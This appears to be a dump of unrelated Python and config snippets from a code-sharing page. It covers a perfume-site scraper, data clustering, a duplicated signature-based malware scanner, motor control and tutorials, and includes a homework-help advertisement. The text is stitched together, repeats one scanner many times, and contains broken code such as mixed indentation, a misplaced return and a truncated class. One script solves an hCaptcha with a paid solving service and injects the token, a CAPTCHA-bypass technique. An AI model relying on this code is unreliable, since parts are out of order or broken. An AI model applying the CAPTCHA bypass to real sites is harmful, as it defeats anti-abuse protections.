        for ingredient in ingredients:
            top_ingredient_counts[ingredient] = top_ingredient_counts.get(ingredient, 0) + 1
top_ingredient_series = pd.Series(top_ingredient_counts, dtype=int)
print(top_ingredient_series)
# Saving the data to the CSV file

with open(csv_file, 'w', newline='', encoding='utf-8') as csvfile:
    writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
    writer.writeheader()
    for data in all_perfume_data:
        writer.writerow(data)

print('Data saved to:', csv_file)
# Collecting the data from URLs we have gathered

all_perfume_data = []

for link in perfume_links:
    print('Scraping link:', link)
    try:
        perfume_data_new = scrape_perfume_data(link)
        all_perfume_data.append(perfume_data_new)
        print(f'Data scraped successfully for {perfume_data_new["PerfumeName"]}')
    except Exception as e:
        print(f'Error scraping data for {link}: {e}')
# Collecting the urls we want to scrape

perfume_links = scrape_all_pages('https://www.parfumo.com/Recently_added?current_page=', 50)
print(perfume_links)
# This method should parse through every page within the new release directory (theres a total of 50 of them)

def scrape_all_pages(base_url, total_pages):
    all_links = []
    base_url = 'https://www.parfumo.com/Recently_added?current_page='
    end_url = '&'
    total_pages = 50

    for page_number in range(1, total_pages + 1):
        page_url = f"{base_url}{page_number}{end_url}"
        try:
            links_on_page = scrape_perfume_links(page_url)
            all_links.extend(links_on_page)
            print(f"Scraped links from page {page_number}")
        except requests.HTTPError as e:
            print(f"Error scraping page {page_number}: {e}")
        time.sleep(1)
    return all_links
# Defining a method for collecting the urls we want to scrape
def scrape_perfume_links(url):
    headers = {
        "User-Agent": "Insert user agent",
        "Referer": "https://www.parfumo.com/",
        "Accept-Language": "en-US,en;q=0.9"
    }
    session = requests.Session()
    page = session.get(url, headers=headers)
    page.raise_for_status()
    soup3 = BeautifulSoup(page.content, 'html.parser')
    
    perfumes = soup3.find_all('div', class_='name')
    perfume_links = []
    for perfume in perfumes:
        link = perfume.find('a')['href']
        perfume_links.append(link)

    return perfume_links
# Defining a method for scraping the web page
def scrape_perfume_data(url):
    headers = {
        "User-Agent": "Insert user agent"
    }
    page = requests.get(url, headers=headers)
    page.raise_for_status()
    soup = BeautifulSoup(page.content, 'html.parser')
    
    perfume_name = brand_name = release_year = overall_rating = rating_count = perfumer = scent_rating = longevity_rating = sillage_rating = bottle_rating = value_rating = scraping_date = None
    
    try:
        perfume_name = soup.find('h1', class_='p_name_h1', itemprop='name').get_text().strip().split('\n')[0].strip()
    except AttributeError:
        pass
    
    try:
        brand_span = soup.find('span', itemprop='brand')
        brand_name = brand_span.find('span', itemprop='name').get_text().strip()
    except AttributeError:
        pass
    
    try:
        year = soup.find('a', href=lambda href: href and 'Release_Years' in href)
        release_year = year.get_text().strip()
    except AttributeError:
        pass
    
    try:
        overall_rating = soup.find('span', itemprop='ratingValue').get_text().strip()
    except AttributeError:
        pass
    
    try:
        rating_count = soup.find('span', itemprop='ratingCount').get_text().strip()
    except AttributeError:
        pass
    
    try:
        perfumer = soup.find('div', {'class': 'w-100 mt-0-5 mb-3'}).get_text().strip()
    except AttributeError:
        pass
    
    try:
        top_notes = soup.find('div', class_='pyramid_block nb_t w-100 mt-2')
        top_note_list = [span.get_text(strip=True) for span in top_notes.find_all('span', class_='clickable_note_img')]
    except AttributeError:
        pass
    
    try:
        heart_notes = soup.find('div', class_='pyramid_block nb_m w-100 mt-2')
        heart_note_list = [span.get_text(strip=True) for span in heart_notes.find_all('span', class_='clickable_note_img')]
    except AttributeError:
        pass
    
    try:
        base_notes = soup.find('div', class_='pyramid_block nb_b w-100 mt-2')
        base_note_list = [span.get_text(strip=True) for span in base_notes.find_all('span', class_='clickable_note_img')]
    except AttributeError:
        pass
   
    
    scraping_date = datetime.date.today()
    
    return {
        'PerfumeName': perfume_name, 
        'Brand': brand_name, 
        'ReleaseYear': release_year, 
        'OverallRating': overall_rating, 
        'RatingCount': rating_count, 
        'Perfumer': perfumer, 
        'TopNotes': top_note_list if 'top_note_list' in locals() else None, 
        'HeartNotes': heart_note_list if 'heart_note_list' in locals() else None, 
        'BaseNotes': base_note_list if 'base_note_list' in locals() else None, 
    }
# Showcasing the data for cluster 0

cluster_0_df = df_trimmed[df_trimmed['ClustersK'] == 0]

variable_names = [col for col in cluster_0_df.columns if col != 'ClustersK']
colors = ['#2e2237']
n_variables = len(variable_names)
n_rows = (n_variables - 1) // 5 + 1
fig, axes = plt.subplots(n_rows, 5, figsize=(15, 3 * n_rows), squeeze=False)

for i, variable in enumerate(variable_names):
    row = i // 5
    col = i % 5
    ax = axes[row, col]
    cluster_0_df[variable].plot.hist(ax=ax, bins=20, color=colors)
    ax.set_title(f'Distribution of {variable}')
    ax.set_xlabel(variable)
    ax.set_ylabel('Frequency')

for i in range(n_variables, n_rows * 5):
    fig.delaxes(axes.flatten()[i])
plt.tight_layout()
plt.show()
# Defining the number of clusters (K)
num_clusters = 4

# Initialising and fitting the KMeans model
kmeans = KMeans(n_clusters = num_clusters, n_init = 10)
cluster_labels = kmeans.fit_predict(dim_ds)
df_trimmed['ClustersK'] = cluster_labels
# Initiating PCA to reduce dimensions aka features to 3 and transforming the data
dim_ds = pd.DataFrame(PCA(n_components = 3).fit_transform(df_scaled), columns = ['column1', 'column2', 'column3'])
dim_ds.describe().T
# Applying z-score normalisation
scaler = StandardScaler()

# Fitting the scaler to the data and transforming it
df_scaled = pd.DataFrame(scaler.fit_transform(df_trimmed), columns = df_trimmed.columns)
# Defining a spend column based on individual categories
df['TotalSpend'] = df['Wines'] + df['Fruits'] + df['Meat'] + df['Fish'] + df['Sweets'] + df['Gold']
# Fleshing out the data around parenthood
df['N_minors_home'] = df['Kidhome'] + df['Teenhome']
df['Parent'] = np.where(df.N_minors_home> 0, 1, 0)
# Cleaning the Education column
df['Education'] = df['Education'].replace({'Basic':'Sec school',
                                           '2n Cycle':'Masters', 
                                           'Graduation':'Bachelors', 
                                           'Master':'Masters', 
                                           'PhD':'Doctorate'})
# Cleaning the Marital status column
df['Marital_Status'] = df['Marital_Status'].replace({'Alone':'Single','Widow':'Widowed', 'Together':'Dating'})
df = df[~df['Marital_Status'].isin(['YOLO', 'Absurd'])]
# Exploring the unique values in the Marital status column
df['Marital_Status'].unique()
# Removing outliers
df = df[df['Income'] <= 200000]
df = df.dropna(subset=['Income'])
# Exploring the outliers for age 
customers_over_100 = df[df['Age'] > 100]
num_customers_over_100 = len(customers_over_100)

print('N of customers over the age of 100:', num_customers_over_100)
# Creating an age column based on the year of birth
current_year = dt.datetime.now().year
df['Age'] = current_year - df['Year_Birth']
myLists = [
    [1, 2, 3],
    [4, 5, 6],
    [7, 8, 9]
]

def to_one_list(myLists):
    myList = []
    for _list in myLists:
        for l in _list:
            myList.append(l)

    return myList

print(to_one_list(myLists = myLists))
# Grouping data by a column and calculating aggregate functions
grouped_df = df.groupBy('column').agg({'column2': 'sum', 'column3': 'avg'})

# Applying aggregate functions to entire DataFrame
agg_df = df.agg({'column1': 'max', 'column2': 'min'})
<p>TopHomeworkHelper.com offers comprehensive programming help for students, covering various programming languages like Java, Python, C++, and more. Services include assignment help, coding assistance, and debugging support. With 24/7 availability and experienced tutors, the platform ensures timely and reliable solutions for all programming-related academic needs.<br /><br />Source:&nbsp;<a href="https://tophomeworkhelper.com/programming-help.html" target="_blank" rel="noopener">Programming Homework Help</a></p>
<p>&nbsp;</p>
from random import randint
from PIL import Image
from os import listdir, path, mkdir
from uuid import uuid4
import moviepy.editor as mp

def generate_video(folder):
    if not path.exists(folder):
        mkdir(folder)

    # generate video frames
    for i in range(20):
        img = Image.new(
            mode = 'RGB',
            size = (500, 250),
            color = (0, 0, 0)
        )

        for x in range(img.size[0]):
            for y in range(img.size[1]):
                r, g, b = randint(0, 255), randint(0, 255), randint(0, 255)
                img.putpixel((x, y), value = (r, g, b))

        img.save(f'{folder}/{i}.png')
    
    # create video
    images = [f'{folder}/{img}' for img in listdir(folder)]
    clips = [mp.ImageClip(img).set_duration(0.08) for img in images]
    video = mp.concatenate_videoclips(clips, method = 'compose')
    video.to_videofile(f'{str(uuid4())}.mp4', fps = 24)


generate_video('test')
from uuid import uuid4
import random

extintions = ['zip', 'exe', 'txt', 'py', 'mp4', 'mp3', 'png']

def generate_files(files_len, folder):
    for i in range(files_len):
        file_name = f'{folder}/{str(uuid4())}.{random.choice(extintions)}'
        file_size = (1024 * 1024) * random.randint(1, 10)
        file = open(file_name, 'wb')
        file.write(b'\b' * file_size)
        file.close()

generate_files(20, 'test')
from fastapi import FastAPI, Request
from slowapi.util import get_remote_address
import uvicorn


app = FastAPI()

@app.get('/')
def home(req : Request):
    return {'ip': get_remote_address(request=req)}
n=int(input('total number of items in list'))
L=[]
for i in range(n):
    item=int(input('enter the item'))
    L.append(item)
n=int(input('total number of items in list'))
L=[]
for i in range(n):
    item=int(input('enter the item'))
    L.append(item)



for i in range(1,n):
    k=L[i]
    j=i-1
    while j>=0 and k<L[j]:
        L[j+1]=L[j]
        j=j-1
    else:
        L[j+1]=k
print('sorted list:\n',L)

import vertexai

from vertexai.generative_models import GenerativeModel, Part

# TODO(developer): Update and un-comment below line
# project_id = "PROJECT_ID"

vertexai.init(project=project_id, location="us-central1")

model = GenerativeModel(model_name="gemini-1.0-pro-vision-001")

response = model.generate_content(
    [
        Part.from_uri(
            "gs://cloud-samples-data/generative-ai/image/scones.jpg",
            mime_type="image/jpeg",
        ),
        "What is shown in this image?",
    ]
)

print(response.text)
from peewee import SqliteDatabase, Model, UUIDField, CharField, IntegerField
from uuid import uuid4

db = SqliteDatabase('mydb.db')

# Create user Model
class User(Model):
    userId = UUIDField(primary_key = True, default = uuid4)
    name = CharField(max_length = 10)
    age = IntegerField()

    class Meta:
        database = db

# Connect to db
db.connect()
db.create_tables([User])
db.commit()

# Add new user to database
user = User.create(name = 'user123', age = 20)
user.save()

# Get all users
for user in User.select():
    print(user.name, user.userId)
from selenium import webdriver
from selenium.webdriver.common.by import By
from dotenv import load_dotenv

# https://pypi.org/project/2captcha-python/
from twocaptcha import TwoCaptcha


import time
import sys
import os

# https://github.com/2captcha/2captcha-python

sys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))


url = 'https://accounts.hcaptcha.com/demo'

driver = webdriver.Chrome()

driver.get(url=url)

time.sleep(2)

site_key = driver.find_element(
    by = By.XPATH, 
    value = '//*[@id="hcaptcha-demo"]').get_attribute('data-sitekey')




load_dotenv()

# create account in 2captcha from here : https://bit.ly/3MkkuPJ
# make deposit at least 3$
# https://2captcha.com/pay

# create env file or you can put your API key direct in TwoCaptcha function


api_key = os.getenv('APIKEY_2CAPTCHA')


api_key = os.getenv('APIKEY_2CAPTCHA', 'YOUR_API_KEY')

solver = TwoCaptcha(api_key)

try:
    result = solver.hcaptcha(
        sitekey=site_key,
        url=url,
    )

    code = result['code']
    print(code)

    

    driver.execute_script(f"document.getElementsByName('h-captcha-response')[0].innerHTML = '{code}'")
    
    # submit
    driver.find_element(by = By.ID, value = 'hcaptcha-demo-submit').click()
    

except Exception as e:
    sys.exit(e)



input()
# Create account from here : http://adfoc.us/831311103357835
# Go to https://adfoc.us/tools/api 
# http://adfoc.us/api/?key={}&url={}


import requests, os
from dotenv import load_dotenv

load_dotenv()

url = ''
api_key = os.getenv('api_key')

endpoint = f'http://adfoc.us/api/?key={api_key}&url={url}'

res = requests.get(url = endpoint)
print(res.text)
from PIL import Image, ImageDraw, ImageOps

def convert_image_to_circle(image_path):
    my_image = Image.open(image_path)
    # create mask 
    mask = Image.new('L', my_image.size)
    draw = ImageDraw.Draw(mask)
    # draw white circle
    draw.ellipse((0, 0) + mask.size, fill = 255)

    # create output image
    output = ImageOps.fit(my_image, mask.size, centering=(0.5, 0.5))
    output.putalpha(mask)
    output.save('out.png')



convert_image_to_circle('test.png')
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import mido
import random

def generate_notes(notes_len):
    notes = []
    for i in range(notes_len):
        notes.append(random.randint(0, 127))

    return notes



def create_midi_file(notes):
    output_midi = mido.MidiFile()
    # create a track 
    track = mido.MidiTrack()
    # add track
    output_midi.tracks.append(track)

    # write notes
    for note in notes:
        track.append(mido.Message('note_on', note = note, velocity=64, time = 120))
        track.append(mido.Message('note_off', note = note, velocity=64, time = 120))

    # write midi file
    output_midi.save('out.mid')

notes = generate_notes(100)
create_midi_file(notes)
import tkinter as tk


root = tk.Tk()
root.attributes('-fullscreen', True)

# this is very important
def close_fullscreen():
    root.attributes('-fullscreen', False)

# add bt to close fullscreen mode this is very important
close_bt = tk.Button(root, text='Close full screen mode', command=close_fullscreen)
close_bt.pack(fill=tk.BOTH)

root.mainloop()
# Enable gzip compression for text-based files
http {
   gzip on;
   gzip_types text/plain text/css text/javascript;
}
def factorial(n):
    if n == 0 or n == 1:
        return 1
    else:
        return n * factorial(n-1)
Write a function named only_ints that takes two parameters. Your function should return True if both parameters are integers, and False otherwise.

For example, calling only_ints(1, 2) should return True, while calling only_ints("a", 1) should return False.
ChatGPT
ChatGPT
Here's a Python function named only_ints that checks if both parameters are integers:

python
Copy code
def only_ints(param1, param2):
    return isinstance(param1, int) and isinstance(param2, int)

# Example usage:
print(only_ints(1, 2))   # Output: True
print(only_ints("a", 1))  # Output: False

Copy and Save

Share

Ask Copilot

This function uses the isinstance() function to check if both parameters are of type int. If both are integers, it returns True; otherwise, it returns False.
engine = db.create_engine('sqlite:///datacamp.sqlite')
conn = engine.connect()
metadata = db.MetaData()

Student = db.Table('Student', metadata,
              db.Column('Id', db.Integer(),primary_key=True),
              db.Column('Name', db.String(255), nullable=False),
              db.Column('Major', db.String(255), default="Math"),
              db.Column('Pass', db.Boolean(), default=True)
              )

metadata.create_all(engine)
from sqlalchemy import create_engine
engine = create_engine("sqlite+pysqlite:///:memory:", echo=True)

connection = engine.connect()
print("Connected to the database successfully")
connection.close()
pip install SQLAlchemy
0 0.961847 0.151807 0.945783 0.151807 0.929719 0.166265 0.923695 0.180723 0.923695 0.207229 0.903614 0.243373 0.853414 0.26506 0.833333 0.279518 0.799197 0.289157 0.787149 0.289157 0.783133 0.284337 0.781124 0.255422 0.7751 0.243373 0.773092 0.166265 0.76506 0.151807 0.746988 0.159036 0.692771 0.207229 0.668675 0.209639 0.654618 0.216867 0.620482 0.216867 0.592369 0.207229 0.574297 0.207229 0.568273 0.214458 0.568273 0.240964 0.580321 0.26747 0.580321 0.279518 0.568273 0.296386 0.554217 0.344578 0.53012 0.383133 0.502008 0.414458 0.447791 0.513253 0.413655 0.595181 0.385542 0.689157 0.373494 0.780723 0.383534 0.807229 0.381526 0.850602 0.395582 0.872289 0.437751 0.891566 0.475904 0.901205 0.516064 0.903614 0.556225 0.915663 0.588353 0.908434 0.594378 0.889157 0.586345 0.860241 0.616466 0.824096 0.630522 0.79759 0.648594 0.742169 0.648594 0.689157 0.65261 0.684337 0.662651 0.693976 0.668675 0.739759 0.676707 0.761446 0.686747 0.773494 0.712851 0.778313 0.722892 0.766265 0.728916 0.744578 0.722892 0.66747 0.708835 0.631325 0.680723 0.60241 0.688755 0.566265 0.710843 0.53494 0.730924 0.46506 0.746988 0.440964 0.787149 0.404819 0.821285 0.392771 0.85743 0.366265 0.893574 0.325301 0.953815 0.26988 0.96988 0.209639 0.96988 0.168675
coco/
└── annotations/
    └── coco_annotations.json
coco_to_yolo.py
coco_converted/
├── images/
└── labels/
    └── coco_annotations/
        └── image1.txt
        └── image2.txt
python coco_to_yolo.py
.\venv\Scripts\activate.ps1
.\venv\Scripts\activate
python -m venv venv
cd path\to\your\project\directory
coco/
└── annotations/
    └── coco_annotations.json
coco_to_yolo.py
from ultralytics.data.converter import convert_coco
convert_coco(labels_dir='annotations', use_segments=True)
import serial
import struct
import time  # Added import for time module

# Define communication constants and machine information
BAUD_RATE = 38400
DATA_BITS = 8
STOP_BITS = 1
PARITY = serial.PARITY_NONE
NODE_ID = 0x01

# Define commands for motor control
SET_CONTROLWORD_CMD = 0x2B
SET_OPERATION_MODE_CMD = 0x2F
SET_TARGET_POSITION_CMD = 0x41
READ_STATUSWORD_CMD = 0x4B
SET_PROFILE_SPEED_CMD = 0x23

# Define functions to calculate checksum and send commands
def calculate_checksum(data):
    return (-sum(data) % 256) & 0xFF

def send_command(serial_port, cmd, index, sub_index, data=None):
    if data is None:
        data = b''
    packet = bytes([NODE_ID, cmd, index & 0xFF, index >> 8, sub_index, *data])
    checksum = calculate_checksum(packet)
    packet += bytes([checksum])
    serial_port.write(packet)
    response = serial_port.read(8)
    return response

# Motor control functions
def move_to_position(serial_port, position):
    response = send_command(serial_port, SET_TARGET_POSITION_CMD, 0x607A, 0x00, data=list(struct.pack('<i', position)))
    print(f"Response (Move to Position {position}):", response.hex())

def set_speed(serial_port, speed):
    speed_bytes = struct.pack('<i', speed)
    response = send_command(serial_port, SET_PROFILE_SPEED_CMD, 0x6081, 0x00, data=list(speed_bytes))
    print(f"Response (Set Speed {speed}):", response.hex())

def start_motion(serial_port):
    response = send_command(serial_port, SET_CONTROLWORD_CMD, 0x6040, 0x00, data=[0x0F, 0x00, 0x00, 0x00])  # Start motion
    print("Response (Start motion):", response.hex())

def stop_motion(serial_port):
    response = send_command(serial_port, SET_CONTROLWORD_CMD, 0x6040, 0x00, data=[0x06, 0x00, 0x00, 0x00])  # Stop motion
    print("Response (Stop motion):", response.hex())

def move_to_positions(serial_port, positions):
    for pos in positions:
        move_to_position(serial_port, pos)
        time.sleep(1)  # Added delay to allow time for motion
        set_speed(serial_port, 200)  # Set speed to 200 RPM
        start_motion(serial_port)
        time.sleep(5)  # Added delay to simulate motion time
        stop_motion(serial_port)

# Main function
def main():
    serial_port = serial.Serial('COM3', baudrate=BAUD_RATE, bytesize=DATA_BITS, stopbits=STOP_BITS, parity=PARITY, timeout=1)

    try:
        positions = [5000001, 6000001, 7000001]
        move_to_positions(serial_port, positions)

    finally:
        serial_port.close()

if __name__ == "__main__":
    main()
class Solution(object):
  def lengthOfLongestSubstring(self, s):
    max_sub_length = 0
    start = 0
    s_length = len(s)
    
    for end in range(1, s_length):
      if s[end] in s[start:end]:
        start = s[start:end].index(s[end]) + 1 + start
      else:
        max_sub_length = max(max_sub_length, end - start + 1)
	return max_sub_length    
c3.Genai.UnstructuredQuery.Engine.REA.RetrieverConfig.make('materiality_retriever_config').getConfig().setConfigValue("numRetrievedPassages", 10)
import math


class Circle:
    def __init__(self, radius):
        self._radius = radius
        self._area = None

    @property
    def radius(self):
        return self._radius

    @radius.setter
    def radius(self, value):
        if value < 0:
            raise ValueError('Radius must be positive')

        if value != self._radius:
            self._radius = value
            self._area = None

    @property
    def area(self):
        if self._area is None:
            self._area = math.pi * self.radius ** 2

        return self._area
Code language: Python (python)
numbers = (*odd_numbers, *even_numbers)
print(numbers)
Code language: Python (python)
numbers = (*odd_numbers, *even_numbers)
print(numbers)
Code language: Python (python)
numbers = (*odd_numbers, *even_numbers)
print(numbers)
Code language: Python (python)
new_stocks = {symbol: price * 1.02 for (symbol, price) in stocks.items()}

Code language: Python (python)
cities = ['New York', 'Beijing', 'Cairo', 'Mumbai', 'Mexico']

for item in enumerate(cities):
    print(item)
Code language: Python (python)
list_of_dicts = [
    {'name': 'Alice', 'age': 30},
    {'name': 'Bob', 'age': 25},
    {'name': 'Charlie', 'age': 35}
]
person = next((item for item in list_of_dicts if item.get('name') == 'Bob'),  "person not found." )
print(f"Found: {person}")
class Celsius:
    def __init__(self, temperature=0):
        # This calls the setter method `temperature(self, value)` below 
        self.temperature = temperature

    def to_farenheit(self):
        # This calls the getter method (`temperature(self)`) method below
        return (self.temperature * 1.8) + 32

    @property
	def temperature(self):
        """
        Getter method for the `temperature` property.
        If you create an instance of this class and then refer to the
            `temperature` property of that instance then this method will be called.

        Example:
            t = Celsius(37)
            t.temperature  <-- this is where this getter method is called
        """
        print("Getting value...")
        return self._temperature

    @temperature.setter
    def temperature(self, value):
        """
        Setter method for the `temperature` property.
        If you create an instance of this class and then assign a value
            to the `temperature` property of that instance then this method will be called.

        Example:
            t = Celsius(37)  <-- this is where this setter method is called
            t.temperature  
        """
        print("Setting value...")
        if value < -273.15:
            raise ValueError("Temperature below -273 is not possible")
        self._temperature = value


human = Celsius(37)  # Setting value...
print(human.temperature)  # Getting value...
print(human.to_farenheit())  # Setting value...
coldest_thing = Celsius(-300)  # ValueError
class Dates:
    def __init__(self, date):
    	self.date = date

    def get_date(self):
    	return self.date

    @staticmethod
